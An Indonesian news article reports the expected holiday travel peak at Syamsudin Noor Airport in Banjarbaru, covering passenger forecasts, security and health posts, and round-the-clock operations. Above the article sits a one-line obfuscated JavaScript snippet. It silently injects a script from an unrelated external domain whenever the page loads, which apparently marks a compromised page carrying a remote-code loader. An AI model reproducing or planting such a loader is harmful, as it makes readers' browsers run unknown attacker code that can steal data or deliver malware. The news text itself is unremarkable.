(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Puncak Libur Nataru di Bandara Syamsudin Noor Diprediksi 22-23 Desember, Weekend Mencapai 5.700 Penumpang

KANALKALIMANTAN.COM, BANJARBARU – Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat menjelang libur Natal dan Tahun Baru (Nataru).

General Manager Bandara Syamsudin Noor, Dony Subardono menyebutkan pada periode ini diprediksi akan terjadi kenaikan aktivitas flight pesawat hingga 5 persen dan pertumbuhan penumpang 7 persen dibanding Nataru tahun sebelumnya.

“Kalau menurut perhitungan saya sendiri pasti di atas angka itu, mengingat saat ini juga bersamaan dengan liburan anak sekolah yang membuat lonjakannya lebih besar,” ujar Dony Subardono.

General Manager Bandara Syamsudin Noor, Dony Subardono. Foto : wanda

Menurutnya prediksi puncak Nataru tahun ini tidak bisa diprediksi sebab bersamaan dengan liburan anak sekolah. Sementara itu menurut Dony, Kalsel lebih banyak melakukan penerbangan ke luar saat libur Nataru.

“Sehingga kita perkirakan tanggal 22-23 Desember sudah menjadi puncak arus libur Nataru 2024,” sebut dia memprediksi.

Adapun jumlah penumpang diprediksi akanmenyentuh angka 4.200-4.300 orang per hari. Angka itu akan kembali meningkat setiap akhir pekan.

“Di weekend hari Sabtu Minggu kemarin jumlah penumpang berangkat saja mencapai 5.600-5.700 orang. Artinya sudah naik sekitar 12 persen dari hari-hari biasa,” ungkapnya.

Kesiapan pihak otoritas bandara juga didukung oleh pendirian posko di area keberangkatan Bandara Syamsudin Noor dan sudah aktif terhitung mulai Selasa (17/12/2024) kemarin.

Ratusan personel internal dari Bandara siaga berjaga di posko dengan ditambah dengan personel TNI dan Polri.

“Dari TNI Polri semua ikut, Basarnas, Balai Karantina Kesehatan, Bea Cukai, Imigirasi semua turun,” sebutnya.

Tak hanya TNI dan Polri, personel yang dikerahkan juga meliputi petugas kesehatan di bawah Kementerian Kesehatan yang terletak di Kantor Karantina Kesehatan Bandara Syamsudin Noor.

“Fasilitas kita semua ada, kemudian juga ada monitor cuaca milik BMKG karena memang cuaca akhir-akhir ini tidak terprediksi,” jelasnya.

Pihaknya menyiapkan operasional full 24 jam bandara untuk momen Nataru. Kendati demikian hingga saat ini, Dony mengaku belum menambah extra flight (penerbangan tambahan).

“Extra flight belum ada, kita hanya mengaktifkan jadwal-jadwal yang sudah terdaftar namun belum aktif kemarin, lalu diaktivasi ulang,” jelasnya.

“Kalau pun ada pesawat yang akan nambah, yang akan terlambat kita akan layani, agar hari itu jangan ada pesawat yang tidak berangkat,” tuntas Dony. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie